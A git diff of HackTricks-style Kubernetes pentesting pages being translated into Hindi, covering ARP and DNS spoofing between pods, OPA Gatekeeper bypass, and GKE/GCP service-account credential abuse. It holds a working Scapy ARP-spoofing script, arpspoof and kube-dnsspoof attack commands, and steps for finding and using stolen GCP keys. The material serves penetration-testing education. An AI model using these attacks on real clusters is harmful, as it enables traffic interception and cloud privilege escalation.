|
||||
return targetmac
|
||||
|
||||
def spoofarpcache(targetip, targetmac, sourceip):
|
||||
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
|
||||
send(spoofed, verbose= False)
|
||||
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
|
||||
send(spoofed, verbose= False)
|
||||
|
||||
def restorearp(targetip, targetmac, sourceip, sourcemac):
|
||||
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
|
||||
send(packet, verbose=False)
|
||||
print("ARP Table restored to normal for", targetip)
|
||||
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
|
||||
send(packet, verbose=False)
|
||||
print("ARP Table restored to normal for", targetip)
|
||||
|
||||
def main():
|
||||
targetip= input("Enter Target IP:")
|
||||
gatewayip= input("Enter Gateway IP:")
|
||||
targetip= input("Enter Target IP:")
|
||||
gatewayip= input("Enter Gateway IP:")
|
||||
|
||||
try:
|
||||
targetmac= getmac(targetip)
|
||||
print("Target MAC", targetmac)
|
||||
except:
|
||||
print("Target machine did not respond to ARP broadcast")
|
||||
quit()
|
||||
try:
|
||||
targetmac= getmac(targetip)
|
||||
print("Target MAC", targetmac)
|
||||
except:
|
||||
print("Target machine did not respond to ARP broadcast")
|
||||
quit()
|
||||
|
||||
try:
|
||||
gatewaymac= getmac(gatewayip)
|
||||
print("Gateway MAC:", gatewaymac)
|
||||
except:
|
||||
print("Gateway is unreachable")
|
||||
quit()
|
||||
try:
|
||||
print("Sending spoofed ARP responses")
|
||||
while True:
|
||||
spoofarpcache(targetip, targetmac, gatewayip)
|
||||
spoofarpcache(gatewayip, gatewaymac, targetip)
|
||||
except KeyboardInterrupt:
|
||||
print("ARP spoofing stopped")
|
||||
restorearp(gatewayip, gatewaymac, targetip, targetmac)
|
||||
restorearp(targetip, targetmac, gatewayip, gatewaymac)
|
||||
quit()
|
||||
try:
|
||||
gatewaymac= getmac(gatewayip)
|
||||
print("Gateway MAC:", gatewaymac)
|
||||
except:
|
||||
print("Gateway is unreachable")
|
||||
quit()
|
||||
try:
|
||||
print("Sending spoofed ARP responses")
|
||||
while True:
|
||||
spoofarpcache(targetip, targetmac, gatewayip)
|
||||
spoofarpcache(gatewayip, gatewaymac, targetip)
|
||||
except KeyboardInterrupt:
|
||||
print("ARP spoofing stopped")
|
||||
restorearp(gatewayip, gatewaymac, targetip, targetmac)
|
||||
restorearp(targetip, targetmac, gatewayip, gatewaymac)
|
||||
quit()
|
||||
|
||||
if __name__=="__main__":
|
||||
main()
|
||||
main()
|
||||
|
||||
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
```
|
||||
|
||||
### ARPSpoof
|
||||
|
||||
```bash
|
||||
apt install dsniff
|
||||
arpspoof -t 172.17.0.9 172.17.0.10
|
||||
```
|
||||
|
||||
## DNS Spoofing
|
||||
|
||||
As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.
|
||||
जैसा कि पहले ही उल्लेख किया गया है, यदि आप **DNS सर्वर पॉड** के उसी नोड में एक पॉड को **समझौता** करते हैं, तो आप **MitM** के साथ **ARPSpoofing** का उपयोग करके **ब्रिज** और **DNS** पॉड को **संशोधित** कर सकते हैं और **सभी DNS प्रतिक्रियाओं** को **बदल** सकते हैं।
|
||||
|
||||
You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like:
|
||||
आपके पास इसे परीक्षण करने के लिए एक बहुत अच्छा **उपकरण** और **ट्यूटोरियल** है [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
हमारे परिदृश्य में, **हमलावर पॉड** में **उपकरण** को **डाउनलोड** करें और एक \*\*फाइल नाम `hosts` \*\* बनाएं जिसमें आप जिन **डोमेन** को **स्पूफ** करना चाहते हैं, उन्हें शामिल करें जैसे:
|
||||
```
|
||||
cat hosts
|
||||
google.com. 1.1.1.1
|
||||
```
|
||||
|
||||
Perform the attack to the ubuntu-victim machine:
|
||||
|
||||
ubuntu-victim मशीन पर हमला करें:
|
||||
```
|
||||
python3 exploit.py --direct 172.17.0.10
|
||||
[*] starting attack on direct mode to pod 172.17.0.10
|
||||
@@ -272,23 +259,18 @@ dig google.com
|
||||
;; ANSWER SECTION:
|
||||
google.com. 1 IN A 1.1.1.1
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
|
||||
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
|
||||
> यदि आप अपना खुद का DNS स्पूफिंग स्क्रिप्ट बनाने की कोशिश करते हैं, यदि आप **बस DNS प्रतिक्रिया को संशोधित करते हैं** तो यह **काम नहीं करेगा**, क्योंकि **प्रतिक्रिया** में **src IP** **दुष्ट** **पॉड** का IP पता होगा और इसे **स्वीकृत** नहीं किया जाएगा।\
|
||||
> आपको **DNS** का **नया DNS पैकेट** उत्पन्न करने की आवश्यकता है जहां पीड़ित DNS अनुरोध भेजता है (जो कुछ ऐसा है जैसे 172.16.0.2, 10.96.0.10 नहीं, वह K8s DNS सेवा IP है और DNS सर्वर IP नहीं है, इसके बारे में अधिक जानकारी परिचय में है)।
|
||||
|
||||
## Capturing Traffic
|
||||
## ट्रैफ़िक कैप्चर करना
|
||||
|
||||
The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\
|
||||
It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).
|
||||
उपकरण [**Mizu**](https://github.com/up9inc/mizu) एक सरल लेकिन शक्तिशाली API **ट्रैफ़िक व्यूअर है जो Kubernetes** के लिए है, जो आपको **सूक्ष्म सेवाओं के बीच सभी API संचार** को **देखने** में सक्षम बनाता है ताकि आप अपने डिबग और समस्या निवारण में मदद कर सकें।\
|
||||
यह चयनित पॉड में एजेंट स्थापित करेगा और उनके ट्रैफ़िक की जानकारी एकत्र करेगा और आपको एक वेब सर्वर में दिखाएगा। हालांकि, इसके लिए आपको उच्च K8s अनुमतियों की आवश्यकता होगी (और यह बहुत छिपा हुआ नहीं है)।
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
|
||||
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,80 +1,72 @@
|
||||
# Kubernetes - OPA Gatekeeper
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition
|
||||
|
||||
Open Policy Agent (OPA) Gatekeeper is a tool used to enforce admission policies in Kubernetes. These policies are defined using Rego, a policy language provided by OPA. Below is a basic example of a policy definition using OPA Gatekeeper:
|
||||
## परिभाषा
|
||||
|
||||
Open Policy Agent (OPA) Gatekeeper एक उपकरण है जिसका उपयोग Kubernetes में प्रवेश नीतियों को लागू करने के लिए किया जाता है। ये नीतियाँ OPA द्वारा प्रदान की गई नीति भाषा Rego का उपयोग करके परिभाषित की जाती हैं। नीचे OPA Gatekeeper का उपयोग करके नीति परिभाषा का एक बुनियादी उदाहरण दिया गया है:
|
||||
```rego
|
||||
regoCopy codepackage k8srequiredlabels
|
||||
|
||||
violation[{"msg": msg}] {
|
||||
provided := {label | input.review.object.metadata.labels[label]}
|
||||
required := {label | label := input.parameters.labels[label]}
|
||||
missing := required - provided
|
||||
count(missing) > 0
|
||||
msg := sprintf("Required labels missing: %v", [missing])
|
||||
provided := {label | input.review.object.metadata.labels[label]}
|
||||
required := {label | label := input.parameters.labels[label]}
|
||||
missing := required - provided
|
||||
count(missing) > 0
|
||||
msg := sprintf("Required labels missing: %v", [missing])
|
||||
}
|
||||
|
||||
default allow = false
|
||||
```
|
||||
|
||||
This Rego policy checks if certain labels are present on Kubernetes resources. If the required labels are missing, it returns a violation message. This policy can be used to ensure that all resources deployed in the cluster have specific labels.
|
||||
यह Rego नीति जांचती है कि क्या Kubernetes संसाधनों पर कुछ लेबल मौजूद हैं। यदि आवश्यक लेबल अनुपस्थित हैं, तो यह एक उल्लंघन संदेश लौटाती है। इस नीति का उपयोग यह सुनिश्चित करने के लिए किया जा सकता है कि क्लस्टर में तैनात सभी संसाधनों के पास विशिष्ट लेबल हों।
|
||||
|
||||
## Apply Constraint
|
||||
|
||||
To use this policy with OPA Gatekeeper, you would define a **ConstraintTemplate** and a **Constraint** in Kubernetes:
|
||||
|
||||
इस नीति का उपयोग OPA Gatekeeper के साथ करने के लिए, आपको Kubernetes में एक **ConstraintTemplate** और एक **Constraint** परिभाषित करना होगा:
|
||||
```yaml
|
||||
apiVersion: templates.gatekeeper.sh/v1beta1
|
||||
kind: ConstraintTemplate
|
||||
metadata:
|
||||
name: k8srequiredlabels
|
||||
name: k8srequiredlabels
|
||||
spec:
|
||||
crd:
|
||||
spec:
|
||||
names:
|
||||
kind: K8sRequiredLabels
|
||||
targets:
|
||||
- target: admission.k8s.gatekeeper.sh
|
||||
rego: |
|
||||
package k8srequiredlabels
|
||||
violation[{"msg": msg}] {
|
||||
provided := {label | input.review.object.metadata.labels[label]}
|
||||
required := {label | label := input.parameters.labels[label]}
|
||||
missing := required - provided
|
||||
count(missing) > 0
|
||||
msg := sprintf("Required labels missing: %v", [missing])
|
||||
}
|
||||
crd:
|
||||
spec:
|
||||
names:
|
||||
kind: K8sRequiredLabels
|
||||
targets:
|
||||
- target: admission.k8s.gatekeeper.sh
|
||||
rego: |
|
||||
package k8srequiredlabels
|
||||
violation[{"msg": msg}] {
|
||||
provided := {label | input.review.object.metadata.labels[label]}
|
||||
required := {label | label := input.parameters.labels[label]}
|
||||
missing := required - provided
|
||||
count(missing) > 0
|
||||
msg := sprintf("Required labels missing: %v", [missing])
|
||||
}
|
||||
|
||||
default allow = false
|
||||
default allow = false
|
||||
```
|
||||
|
||||
```yaml
|
||||
apiVersion: constraints.gatekeeper.sh/v1beta1
|
||||
kind: K8sRequiredLabels
|
||||
metadata:
|
||||
name: ensure-pod-has-label
|
||||
name: ensure-pod-has-label
|
||||
spec:
|
||||
match:
|
||||
kinds:
|
||||
- apiGroups: [""]
|
||||
kinds: ["Pod"]
|
||||
parameters:
|
||||
labels:
|
||||
requiredLabel1: "true"
|
||||
requiredLabel2: "true"
|
||||
match:
|
||||
kinds:
|
||||
- apiGroups: [""]
|
||||
kinds: ["Pod"]
|
||||
parameters:
|
||||
labels:
|
||||
requiredLabel1: "true"
|
||||
requiredLabel2: "true"
|
||||
```
|
||||
इस YAML उदाहरण में, हम लेबल की आवश्यकता के लिए एक **ConstraintTemplate** परिभाषित करते हैं। फिर, हम इस बाधा का नाम `ensure-pod-has-label` रखते हैं, जो `k8srequiredlabels` ConstraintTemplate को संदर्भित करता है और आवश्यक लेबल निर्दिष्ट करता है।
|
||||
|
||||
In this YAML example, we define a **ConstraintTemplate** to require labels. Then, we name this constraint `ensure-pod-has-label`, which references the `k8srequiredlabels` ConstraintTemplate and specifies the required labels.
|
||||
|
||||
When Gatekeeper is deployed in the Kubernetes cluster, it will enforce this policy, preventing the creation of pods that do not have the specified labels.
|
||||
जब Gatekeeper Kubernetes क्लस्टर में तैनात होता है, तो यह इस नीति को लागू करेगा, जिससे उन पॉड्स का निर्माण रोका जाएगा जिनके पास निर्दिष्ट लेबल नहीं हैं।
|
||||
|
||||
## References
|
||||
|
||||
* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+12
-22
@@ -1,49 +1,43 @@
|
||||
# Kubernetes OPA Gatekeeper bypass
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Abusing misconfiguration
|
||||
## गलत कॉन्फ़िगरेशन का दुरुपयोग
|
||||
|
||||
### Enumerate rules
|
||||
### नियमों की गणना करें
|
||||
|
||||
Having an overview may help to know which rules are active, on which mode and who can bypass it.
|
||||
|
||||
#### With the CLI
|
||||
एक अवलोकन होना मददगार हो सकता है यह जानने के लिए कि कौन से नियम सक्रिय हैं, किस मोड में हैं और कौन इसे बायपास कर सकता है।
|
||||
|
||||
#### CLI के साथ
|
||||
```bash
|
||||
$ kubectl api-resources | grep gatekeeper
|
||||
k8smandatoryannotations constraints.gatekeeper.sh/v1beta1 false K8sMandatoryAnnotations
|
||||
k8smandatorylabels constraints.gatekeeper.sh/v1beta1 false K8sMandatoryLabel
|
||||
constrainttemplates templates.gatekeeper.sh/v1 false ConstraintTemplate
|
||||
```
|
||||
|
||||
**ConstraintTemplate** and **Constraint** can be used in Open Policy Agent (OPA) Gatekeeper to enforce rules on Kubernetes resources.
|
||||
|
||||
**ConstraintTemplate** और **Constraint** का उपयोग Open Policy Agent (OPA) Gatekeeper में Kubernetes संसाधनों पर नियम लागू करने के लिए किया जा सकता है।
|
||||
```bash
|
||||
$ kubectl get constrainttemplates
|
||||
$ kubectl get k8smandatorylabels
|
||||
```
|
||||
#### GUI के साथ
|
||||
|
||||
#### With the GUI
|
||||
|
||||
A Graphic User Interface may also be available to access the OPA rules with **Gatekeeper Policy Manager.** It is "a simple _read-only_ web UI for viewing OPA Gatekeeper policies' status in a Kubernetes Cluster."
|
||||
एक ग्राफिक यूजर इंटरफेस भी **Gatekeeper Policy Manager** के साथ OPA नियमों तक पहुँचने के लिए उपलब्ध हो सकता है। यह "Kubernetes क्लस्टर में OPA Gatekeeper नीतियों की स्थिति देखने के लिए एक सरल _read-only_ वेब UI है।"
|
||||
|
||||
<figure><img src="../../../images/05-constraints.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Search for the exposed service :
|
||||
|
||||
प्रदर्शित सेवा के लिए खोजें:
|
||||
```bash
|
||||
$ kubectl get services -A | grep gatekeeper
|
||||
$ kubectl get services -A | grep 'gatekeeper-policy-manager-system'
|
||||
```
|
||||
|
||||
### Excluded namespaces
|
||||
|
||||
As illustrated in the image above, certain rules may not be applied universally across all namespaces or users. Instead, they operate on a whitelist basis. For instance, the `liveness-probe` constraint is excluded from applying to the five specified namespaces.
|
||||
जैसा कि ऊपर की छवि में दर्शाया गया है, कुछ नियम सभी namespaces या उपयोगकर्ताओं पर सार्वभौमिक रूप से लागू नहीं हो सकते। इसके बजाय, वे एक व्हाइटलिस्ट आधार पर कार्य करते हैं। उदाहरण के लिए, `liveness-probe` प्रतिबंध को पांच निर्दिष्ट namespaces पर लागू करने से बाहर रखा गया है।
|
||||
|
||||
### Bypass
|
||||
|
||||
With a comprehensive overview of the Gatekeeper configuration, it's possible to identify potential misconfigurations that could be exploited to gain privileges. Look for whitelisted or excluded namespaces where the rule doesn't apply, and then carry out your attack there.
|
||||
Gatekeeper कॉन्फ़िगरेशन का व्यापक अवलोकन करते हुए, संभावित गलत कॉन्फ़िगरेशन की पहचान करना संभव है जिसे विशेषाधिकार प्राप्त करने के लिए शोषित किया जा सकता है। उन व्हाइटलिस्टेड या बाहर किए गए namespaces की तलाश करें जहाँ नियम लागू नहीं होता, और फिर वहाँ अपना हमला करें।
|
||||
|
||||
{{#ref}}
|
||||
../abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -51,7 +45,7 @@ With a comprehensive overview of the Gatekeeper configuration, it's possible to
|
||||
|
||||
## Abusing ValidatingWebhookConfiguration
|
||||
|
||||
Another way to bypass constraints is to focus on the ValidatingWebhookConfiguration resource : 
|
||||
प्रतिबंधों को बायपास करने का एक और तरीका ValidatingWebhookConfiguration संसाधन पर ध्यान केंद्रित करना है : 
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-validatingwebhookconfiguration.md
|
||||
@@ -61,7 +55,3 @@ Another way to bypass constraints is to focus on the ValidatingWebhookConfigurat
|
||||
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
- [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,85 +4,72 @@
|
||||
|
||||
## GCP
|
||||
|
||||
If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:
|
||||
यदि आप GCP के अंदर एक k8s क्लस्टर चला रहे हैं, तो आप शायद चाहेंगे कि क्लस्टर के अंदर चलने वाला कुछ एप्लिकेशन GCP तक कुछ पहुंच प्राप्त करे। ऐसा करने के 2 सामान्य तरीके हैं:
|
||||
|
||||
### Mounting GCP-SA keys as secret
|
||||
### GCP-SA कुंजी को गुप्त के रूप में माउंट करना
|
||||
|
||||
A common way to give **access to a kubernetes application to GCP** is to:
|
||||
**GCP तक एक kubernetes एप्लिकेशन को पहुंच देने** का एक सामान्य तरीका है:
|
||||
|
||||
- Create a GCP Service Account
|
||||
- Bind on it the desired permissions
|
||||
- Download a json key of the created SA
|
||||
- Mount it as a secret inside the pod
|
||||
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
|
||||
- एक GCP सेवा खाता बनाएं
|
||||
- उस पर इच्छित अनुमतियों को बांधें
|
||||
- बनाए गए SA की एक json कुंजी डाउनलोड करें
|
||||
- इसे पॉड के अंदर एक गुप्त के रूप में माउंट करें
|
||||
- GOOGLE_APPLICATION_CREDENTIALS पर्यावरण चर को उस पथ की ओर इंगित करें जहां json है।
|
||||
|
||||
> [!WARNING]
|
||||
> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.
|
||||
> इसलिए, एक **हमलावर** के रूप में, यदि आप एक पॉड के अंदर एक कंटेनर से समझौता करते हैं, तो आपको उस **env** **चर** और **json** **फाइलों** की जांच करनी चाहिए जिनमें GCP क्रेडेंशियल्स हैं।
|
||||
|
||||
### Relating GSA json to KSA secret
|
||||
### GSA json को KSA गुप्त से संबंधित करना
|
||||
|
||||
A way to give access to a GSA to a GKE cluser is by binding them in this way:
|
||||
|
||||
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
|
||||
GKE क्लस्टर को GSA तक पहुंच देने का एक तरीका इस प्रकार है:
|
||||
|
||||
- अपने GKE क्लस्टर के समान नामस्थान में एक Kubernetes सेवा खाता बनाएं, निम्नलिखित कमांड का उपयोग करके:
|
||||
```bash
|
||||
Copy codekubectl create serviceaccount <service-account-name>
|
||||
```
|
||||
|
||||
- Create a Kubernetes Secret that contains the credentials of the GCP service account you want to grant access to the GKE cluster. You can do this using the `gcloud` command-line tool, as shown in the following example:
|
||||
|
||||
- एक Kubernetes Secret बनाएं जिसमें GCP सेवा खाते के क्रेडेंशियल्स हों, जिसे आप GKE क्लस्टर तक पहुंच प्रदान करना चाहते हैं। आप इसे `gcloud` कमांड-लाइन टूल का उपयोग करके कर सकते हैं, जैसा कि निम्नलिखित उदाहरण में दिखाया गया है:
|
||||
```bash
|
||||
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
|
||||
--iam-account <gcp-service-account-email>
|
||||
--iam-account <gcp-service-account-email>
|
||||
kubectl create secret generic <secret-name> \
|
||||
--from-file=key.json=<key-file-name>.json
|
||||
--from-file=key.json=<key-file-name>.json
|
||||
```
|
||||
|
||||
- Bind the Kubernetes Secret to the Kubernetes service account using the following command:
|
||||
|
||||
- Kubernetes Secret को निम्नलिखित कमांड का उपयोग करके Kubernetes सेवा खाते से बाइंड करें:
|
||||
```bash
|
||||
Copy codekubectl annotate serviceaccount <service-account-name> \
|
||||
iam.gke.io/gcp-service-account=<gcp-service-account-email>
|
||||
iam.gke.io/gcp-service-account=<gcp-service-account-email>
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> In the **second step** it was set the **credentials of the GSA as secret of the KSA**. Then, if you can **read that secret** from **inside** the **GKE** cluster, you can **escalate to that GCP service account**.
|
||||
> **दूसरे चरण** में **GSA के क्रेडेंशियल्स को KSA के रहस्य के रूप में सेट किया गया**। फिर, यदि आप **GKE** क्लस्टर के **अंदर** से **उस रहस्य को पढ़ सकते हैं**, तो आप **उस GCP सेवा खाते** तक **उन्नति** कर सकते हैं।
|
||||
|
||||
### GKE Workload Identity
|
||||
### GKE वर्कलोड पहचान
|
||||
|
||||
With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.
|
||||
वर्कलोड पहचान के साथ, हम एक[ Kubernetes सेवा खाता](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) को[ Google सेवा खाता](https://cloud.google.com/iam/docs/understanding-service-accounts) के रूप में कार्य करने के लिए कॉन्फ़िगर कर सकते हैं। Kubernetes सेवा खाते के साथ चलने वाले पॉड Google क्लाउड APIs तक पहुँचते समय स्वचालित रूप से Google सेवा खाते के रूप में प्रमाणित होंगे।
|
||||
|
||||
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
|
||||
|
||||
- **Enable Workload Identity** on a new cluster
|
||||
इस व्यवहार को सक्षम करने के लिए **पहले चरणों की श्रृंखला** है **GCP में वर्कलोड पहचान को सक्षम करना** ([**चरण**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) और वह GCP SA बनाना जिसे आप k8s के रूप में कार्य करना चाहते हैं।
|
||||
|
||||
- **नए क्लस्टर पर वर्कलोड पहचान सक्षम करें**
|
||||
```bash
|
||||
gcloud container clusters update <cluster_name> \
|
||||
--region=us-central1 \
|
||||
--workload-pool=<project-id>.svc.id.goog
|
||||
--region=us-central1 \
|
||||
--workload-pool=<project-id>.svc.id.goog
|
||||
```
|
||||
|
||||
- **Create/Update a new nodepool** (Autopilot clusters don't need this)
|
||||
|
||||
- **नया नोडपूल बनाएं/अपडेट करें** (ऑटोपायलट क्लस्टर को इसकी आवश्यकता नहीं है)
|
||||
```bash
|
||||
# You could update instead of create
|
||||
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
|
||||
```
|
||||
|
||||
- Create the **GCP Service Account to impersonate** from K8s with GCP permissions:
|
||||
|
||||
- K8s से GCP अनुमतियों के साथ **GCP सेवा खाता बनाएं** जिसे अनुकरण करना है:
|
||||
```bash
|
||||
# Create SA called "gsa2ksa"
|
||||
gcloud iam service-accounts create gsa2ksa --project=<project-id>
|
||||
|
||||
# Give "roles/iam.securityReviewer" role to the SA
|
||||
gcloud projects add-iam-policy-binding <project-id> \
|
||||
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
|
||||
--role "roles/iam.securityReviewer"
|
||||
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
|
||||
--role "roles/iam.securityReviewer"
|
||||
```
|
||||
|
||||
- **Connect** to the **cluster** and **create** the **service account** to use
|
||||
|
||||
- **क्लस्टर** से **जुड़ें** और **सेवा खाता** **बनाएँ** जिसका उपयोग करें
|
||||
```bash
|
||||
# Get k8s creds
|
||||
gcloud container clusters get-credentials <cluster_name> --region=us-central1
|
||||
@@ -93,235 +80,207 @@ kubectl create namespace testing
|
||||
# Create the KSA
|
||||
kubectl create serviceaccount ksa2gcp -n testing
|
||||
```
|
||||
|
||||
- **Bind the GSA with the KSA**
|
||||
|
||||
- **GSA को KSA के साथ बाइंड करें**
|
||||
```bash
|
||||
# Allow the KSA to access the GSA in GCP IAM
|
||||
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
|
||||
--role roles/iam.workloadIdentityUser \
|
||||
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
|
||||
--role roles/iam.workloadIdentityUser \
|
||||
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
|
||||
|
||||
# Indicate to K8s that the SA is able to impersonate the GSA
|
||||
kubectl annotate serviceaccount ksa2gcp \
|
||||
--namespace testing \
|
||||
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
|
||||
--namespace testing \
|
||||
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
|
||||
```
|
||||
|
||||
- Run a **pod** with the **KSA** and check the **access** to **GSA:**
|
||||
|
||||
- एक **पॉड** चलाएँ जिसमें **KSA** हो और **GSA** तक **पहुँच** की जाँच करें:
|
||||
```bash
|
||||
# If using Autopilot remove the nodeSelector stuff!
|
||||
echo "apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: workload-identity-test
|
||||
namespace: <namespace>
|
||||
name: workload-identity-test
|
||||
namespace: <namespace>
|
||||
spec:
|
||||
containers:
|
||||
- image: google/cloud-sdk:slim
|
||||
name: workload-identity-test
|
||||
command: ['sleep','infinity']
|
||||
serviceAccountName: ksa2gcp
|
||||
nodeSelector:
|
||||
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
|
||||
containers:
|
||||
- image: google/cloud-sdk:slim
|
||||
name: workload-identity-test
|
||||
command: ['sleep','infinity']
|
||||
serviceAccountName: ksa2gcp
|
||||
nodeSelector:
|
||||
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
|
||||
|
||||
# Get inside the pod
|
||||
kubectl exec -it workload-identity-test \
|
||||
--namespace testing \
|
||||
-- /bin/bash
|
||||
--namespace testing \
|
||||
-- /bin/bash
|
||||
|
||||
# Check you can access the GSA from insie the pod with
|
||||
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
gcloud auth list
|
||||
```
|
||||
|
||||
Check the following command to authenticate in case needed:
|
||||
|
||||
नीचे दिए गए कमांड को जांचें ताकि आवश्यकता पड़ने पर प्रमाणीकरण किया जा सके:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
|
||||
> From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**.
|
||||
|
||||
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
|
||||
> एक हमलावर के रूप में K8s के अंदर आपको **SAs** के लिए **`iam.gke.io/gcp-service-account` एनोटेशन** की **खोज** करनी चाहिए क्योंकि यह संकेत करता है कि SA GCP में कुछ तक पहुँच सकता है। एक और विकल्प होगा कि आप क्लस्टर में प्रत्येक KSA का दुरुपयोग करने की कोशिश करें और जांचें कि क्या इसके पास पहुँच है।\
|
||||
> GCP से हमेशा बाइंडिंग्स को सूचीबद्ध करना और जानना **महत्वपूर्ण है कि आप Kubernetes के अंदर SAs को कौन सा एक्सेस दे रहे हैं**।
|
||||
|
||||
यह एक स्क्रिप्ट है जो आसानी से **सभी पॉड्स** परिभाषाओं के **दौरे** के लिए **उस एनोटेशन** की खोज करती है:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
echo "Pod: $ns/$pod"
|
||||
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
|
||||
echo ""
|
||||
echo ""
|
||||
done
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
echo "Pod: $ns/$pod"
|
||||
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
|
||||
echo ""
|
||||
echo ""
|
||||
done
|
||||
done | grep -B 1 "gcp-service-account"
|
||||
```
|
||||
|
||||
## AWS
|
||||
|
||||
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
